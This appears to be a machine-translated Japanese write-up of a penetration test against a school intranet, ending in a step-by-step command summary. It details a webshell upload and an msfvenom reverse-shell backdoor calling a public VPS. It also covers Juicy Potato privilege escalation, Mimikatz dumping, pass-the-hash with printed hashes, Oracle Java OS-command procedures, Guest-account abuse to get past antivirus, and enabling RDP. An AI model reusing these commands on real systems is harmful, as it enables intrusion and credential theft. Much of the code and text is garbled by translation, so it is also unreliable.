Jump to content

0x00イントラネットの初期探索

情報センターの教師に応募して、学校にイントラネット浸透テストを実施することを許可した後、学校のイントラネットの使用システムに関する情報を収集し始めました。それらのほとんどは、公開されていないフレームワークコンポーネントの新しいバージョンを使用しているため、最初のスチュワードシッププロセスがデッドロックになります。しかし、学校が開いたさまざまなWebシステムを再訪した後、驚くべきシステムを見つけました。

1049983-20220119230524040-2137113811.png

学校は多くの新しいシステムを使用しましたが、古いシステムをオフにしませんでした。検索の後、この古いシステムにファイルをアップロードする脆弱性があることが確認されました。

1049983-20220119230524706-1372032726.png

フィルタリングがなければ、それは単なる掘り出し物であると言えます。

1049983-20220119230525271-768935209.png

また、トロイの木馬の道も返します。しかし、私は非常に奇妙な現象に遭遇しました。アリの剣と包丁に接続した後、リターンパスは異なり、そのファイルも異なります。

1049983-20220119230525818-1052745570.png

その中で、アリの剣で接続されたシェルはファイルをアップロードすることはできませんが、包丁で接続されたシェルはできます。また、WebShellはコマンドを実行した後にIPをブロックし、WAFがあると疑われます。そこで、最初にMSF ASPX Trojanを渡してメータープレターセッションを取得します。 Windows-Exploit-Suggestを使用して、未収パッチを検出します。

1049983-20220119230526469-167265034.png

MS16-075の非常に有用な脆弱性があることがわかりました。 MSFのJuicy_potatoモジュールと直接協力して攻撃します。 CLSIDを変更することを忘れないでください。ここで見つけることができます。

https://github.com/ohpe/juicy-potato/tree/master/clsid

ペイロード用のbind_tcpのフォワード接続を選択することをお勧めします。そうしないと、シェルをポップアップ表示しない場合があります。

1049983-20220119230527015-1415985841.png

このようにして、システム許可が取得されます。次のステップは、機械から情報を収集し、水平浸透に役立つ情報を取得することです。奇妙なことに、このマシンにはもともとドメインがあったことですが、今では消えていて、ドメイン制御が見つかりません。したがって、私たちの焦点はパスワード衝突ライブラリにあります。 MSFが付属しているMimikatzモジュールを使用して、パスワードを取得します。

1049983-20220119230527769-1549308573.png

私は2つまたは3つのマシンにぶつかりましたが、それらのいくつかはポート445を持っていましたが、ポート3389はありませんでした。

このようにして、MS-17010を使用してみることができますが、使用中の一部のシステムに影響を与える可能性があることを考慮すると、より安全なPSEXECモジュールを使用してライブラリにぶつかることを選択しました。つまり、ハッシュ配信。プレーンテキストで取得できないパスワードが発生したときに、パスワードのハッシュ値をダンプしてから、PSEXECモジュールを使用してハッシュ配信を使用して攻撃を行うことがあります。私たちが得るのは、システム許可だけです。

その後の手順は退屈でした。これは、パスワードを収集するためにライブラリに絶えずぶつかり、収集されたパスワードを介してライブラリにぶつかることでした。十分なマシンとパスワードを取得した後、ボーダールーターが見つかりましたが、以前に収集されたパスワードを正常にログインすることができなかったため、あきらめる必要がありました。このネットワークセグメントは終了します。

0x01詳細な探索

新しいシステムを検索した後、ファイルのダウンロード脆弱性が機能の1つにあることがわかりました。

1049983-20220119230528298-1074002551.png

そして、それはルートユーザーによって開始されたサービスです。理想的な状況は、 /etc /Shadowファイルを読み取り、ルートユーザーのパスワードを爆発させることです。 (失敗)、次に /root/.bash_historyを読んで、ルートユーザーの操作履歴を取得します。 Tomcatの展開とバックアップソースコードファイルへのパスを記録します。ソースコードをダウンロードして情報を収集することにより、非常に重要な情報を収集しました。このネットワークセグメントのほとんどのマシンは、Oracleデータベースを使用しており、SIDを変更していません。まだ試してみるパスワードがいくつかあります。

爆発の後、Oracleデータベースシステムのユーザーパスワードは変更されておらず、マネージャーであることがわかりました。誰もがOracleデータベースがシステムコマンドを実行できることを指定する必要があり、システムユーザーはシステムコマンドを実行する条件を完全に満たしています。退屈な手順を削除し、コマンドを直接実行できるツールをオンラインで見つけました。

1049983-20220119230528710-146235030.png

0x03火の動作検出をバイパス

しかし、別の奇妙な問題が発生しました。いくつかのコマンドしか実行できませんでした。私はシステムユーザーですが、ネットユーザーなどのコマンドを使用すると、エコーはありません。その後、ターフールが異常な行動を傍受したことがわかった。次に、NAVICATのSQLPLUSを使用してサーバーに直接接続しようとしました。オンラインの手順によると、サーバーによって返された1または0に基づいてコマンドが実行されるかどうかを判断できます。

「oscommand」という名前のJavaソースを作成または交換し、コンパイルします

-Java: OSコマンド

java.io.*をインポートします。

java.lang。*をインポートします。

パブリッククラスオスコマンド{

public static string run(string command){

Runtime rt=runtime.getRuntime();

int rc=-1;

試す{

プロセスp=rt.exec(command);

int bufsize=32000;

int len=0;

バイトバッファー[]=new byte [bufsize];

文字列s=null;

BufferedInputStream bis=new BufferedInputStream(p.getInputStream()、bufsize);

len=bis.read(buffer、0、bufsize);

rc=p.waitfor();

if(len!=-1){

s=new String(Buffer、0、Len);

return(s);

}

return(rc+'');

}

catch(例外e){

e.printstacktrace();

return( '-1 \ ncommand [' + command + '] \ n' + e.getmessage());

}

}

}

/

エラーを表示します

function osexec(ccommand in string)return varchar2を作成または交換する

-Function: OS exec

-DESCR: PL/SQLラッパーJavaオスコマンド保存Proc

-

言語Java

name 'oscommand.run(java.lang.string)return java.lang.string';

/

エラーを表示します

-sysdba。 Osexecを所有する該当するスキーマにスコットを置き換える

- およびオスコマンドはProcを保存しました。

宣言する

スキーマvarchar2(30):='scott';

始める

dbms_java.grant_permission(

スキーマ、

'sys:java.io.filepermission'、

「すべてのファイル」、

'実行する'

);

dbms_java.grant_permission(

スキーマ、

'sys:java.lang.runtimepermission'、

「WriteFileDescriptor」、

'*'

);

dbms_java.grant_permission(

スキーマ、

'sys:java.lang.runtimepermission'、

「ReadFileDescriptor」、

'*'

);

専念;

終わり;

/

- ローカル接続情報を表示します

sql select osexec( 'ipconfig')はdualのstdoutとして。

stdout

----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------)

WindowsIP ?

??? l ? 3:

l ? DNS ? 。 。

? t ? IPv6 ? 。 ************

IPv4 ? 192.168.100.100

?? 255.255.255.0

? 0.0.0.0

- ゲストアカウントを活性化します

sql select osexec( 'cmd.exe /c net user guest /active:yes')stdout from dual;

stdout

----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------)

0アンチウイルスソフトウェア監視Oracleの動作があるため、攻撃するためにいくつかの途切れない動作を組み合わせる必要があります。

私が予想していなかったのは、ポート3389を開くためにコマンドラインを直接実行したとき、Turfurがそれを傍受しなかったということでした。しかし、ネットユーザーやその他のコマンドを実行すると、実行できません。この時点で、私は突然ゲストユーザーを思い出しました。ゲストユーザーを有効にし、管理者グループに参加しました。今回はブロックされませんでした。リモートデスクトップに直接接続した後、マシンでMimikatzを使用するか、シェルをCSにリバウンドしたい場合に失敗します。

さらに、ユーザーやその他の機密操作を追加するなど、ゲストユーザー向けの一部のアクセス許可が無効になっています。しかし、ネットユーザーを実行していたとき、私はユーザーを見つけました。これは以前のマシンで見たことがあり、このユーザーのパスワードを持っています。したがって、SQLPLUSを使用して、このユーザーを管理者グループに追加します。

したがって、ターフール傍受の行動ルールは、ユーザーを追加できないが、既存のユーザーを管理者グループに追加することができ、ゲストユーザーをアクティブにすることができ、3389を開くことができるということです。このマシンに再びログインした後、シェルをリバウンドして戻ったり、パスワードを読んだりできませんでした。この時点で、私のジュニアは、ターコイズを直接オンにして保護をオフにできると言って、シェルをリバウンドできると言っていました。私?

その後、1回の操作の後にシェルを取得しましたが、それでもプレーンテキストのパスワードを読むことができませんでした。ハッシュを捨ててから爆破することを考えました。しかし、NTLMを解決できる外国のオンラインWebサイトがあることを覚えています

https://www.objectif-securite.ch/ophcrack

1049983-20220119230529112-1621662799.png

パスワードを取得した後、情報を収集するのはおなじみのライブラリであり、その後ライブラリがクラッシュします。

次に、XFTPがサーバー上にいくつかのサーバーのパスワードを保存したことがわかりました。この時点で、皮肉な操作を見つけました。 Asterisk Password Viewerツールを使用して、ここに保存されているパスワードを表示できます。

1049983-20220119230529622-76334754.png

また、いくつかの根を許可したマシンについても言及したいと思います。後で試験をしたくありませんでした。収集したすべてのパスワードを記録し、ネットワークセグメント全体でマシンを押して、多くの弱いパスワードを引き起こしました。

1049983-20220119230530089-811474567.png

残業してくれた情報センターの先生におめでとうございます。

0x04要約

1。ターゲットの古いシステムの[位置をアップロードする添付ファイルで、Trojanを直接アップロードしてアップロードされたパスに戻すことができます。 2。アリの剣を通してトロイの木馬を文章に接続した後、ファイルをアップロードすることはできません。包丁を介して文を接続すると、ファイルをアップロードできます。 3.パブリックネットワーク上のMSFを介してASPXバックドアを生成し、生成されたshell.aspxをマレーシアを介してターゲットサイトにアップロードし、shell.aspxにアクセスします。 msfvenom -p Windows/x64/meterpreter/reverse_tcp lhost=public vps lport=12345 -f aspx shell.aspx4。 MSFを聞き、リバウンドシェルムスフの使用Exploit/Multi/HandLermsf Exploit(Handler)Set Payload Windows/X64/MeterPreter/Reverse_TCPMSF Exploit(Handler)Set LHOST Public VPSMSF Exploit(Handler)Set LPort 12345MSF Exploit(Handler)Exploit5。包丁のコマンド端子を介してSystemInfoを介してパッチ情報出力情報を実行し、ローカルにダウンロードし、Windows-Exploit-Suggesterを使用して使用可能なエスカレーションPOCを使用して、MS16-075(オンライン比較:3http://BUGS.HACKING8.com/tiquan/)を見つけることができます) https://github.com/1nf1n17yk1ng/windows-exploit-suggesterpython3systeminfo info.txtpython3 windows-exploit-suggester.py -updatepython3 windows-exploit-suggester.py -database 2021-07-15-msb.xls-systeminfp MSF(https://github.com/secwiki/windows-kernel-exploits/tree/master/MS16-075)でMS16-075が通過しました。 C: \ uses \ publicMeterPreter CD C: \ uses \ publicMeterpreter suse incognitemerpreter list_tokens -umeterpreter execute -ch -f ./potato.exemeterpreter list_tokens -umeterpreter getuidserver username: nt authority \ system7。 MIMIKATZをMSFからロードして、プレーンテキストとハッシュバリューメータープレターを読み取るためにMimikatz_Command -f Samdump33:336033603360336033603360HASSETER -PRETER -F SEKURLSA3:3:SEACHWORDSMETERSMETRETER MSTGET METEXTETECTEXTEXTEXTETMETSMETSMETRETER -MSGTETMETSMETRETER -MSGETMETSMETSMERTERTERTERTER 8。PTHパスのバッチハッシュ値衝突ライブラリ

MeterPreter Upload/Root/CrackMapexec C: \ Users \ PublicMeterPreter CrackMapexec 192.168.1.0/24 -u管理者-H CCEF208C64485269C20DB2CAD21734FE7またはメーターペリターバックグラウンドWindows/MeterPreter/Reverse_tcpmsfset lhost 192.168.232.128msfset lport 2222msfset rhosts 10.206.14.1/24msfset smbuser administratorsmbuser=administrationmbuser set smbpass E52CAC67419A9A9A224A3B108F3FA6CB6D:8846F7EEEE8FB117AD06BDD830B7586CMSF RUNまたはMSF使用SMBPASS AAD3B435B51404EEAAD3B435B51404EE:579110C49145015C47ECD267657D3174(LMハッシュは32ビット文字になる可能性があることに注意してください)MSF Run4。ターゲットの新しいシステムでファイルのダウンロードを見つけました。ファイルのダウンロードの脆弱性があるかもしれません。ここでは、BPの侵入者機能を介してファズをバッチできます。ここでは、最初に/etc/passwdなどを読み取り、ハッシュ値を読んで、md5を通してそれを割ることができます。 5.次に、任意のファイルを介してダウンロードして、 /root /.bash_histoyを読み取り、コンプレッションのためにWebサイトディレクトリの管理者の操作を表示します。 Webサイトに保存された圧縮パッケージ名とルートディレクトリがダウンロードされ、ソースコードが直接ダウンロードされてバックアップされます。 6. Oracleデータベース構成ファイルはソースコードで見つかり、ユーザー名システムとパスワードが漏れ、IPアドレスは121.1.100.100が漏れました。デフォルトのSID値:ORCLを使用すると、接続できます。ここでは、Oracleshellを使用してリモートで接続します。 7.ネットユーザー名を追加するコマンドはOracleshellを介してインターセプトされ、タスクリスト/SVCが実行され、ターゲットデータベースにTinderがあることがわかります。ただし、突風アカウントをアクティブにし、管理者グループに突風を追加することにより、ターフはそれを傍受しません。その後、3389をオンにして、ネットユーザーゲスト /Active:YESNETユーザーゲストテスト@123NETローカルグループ管理者ゲスト /addreg \ currentControlset \ control \ターミナル ''サーバー /v fdenytsconnections /t reg_dword /d dual; sからのstdoutとしてのosexec( 'ipconfig')

0 Comments

Recommended Comments

There are no comments to display.

Guest
Add a comment...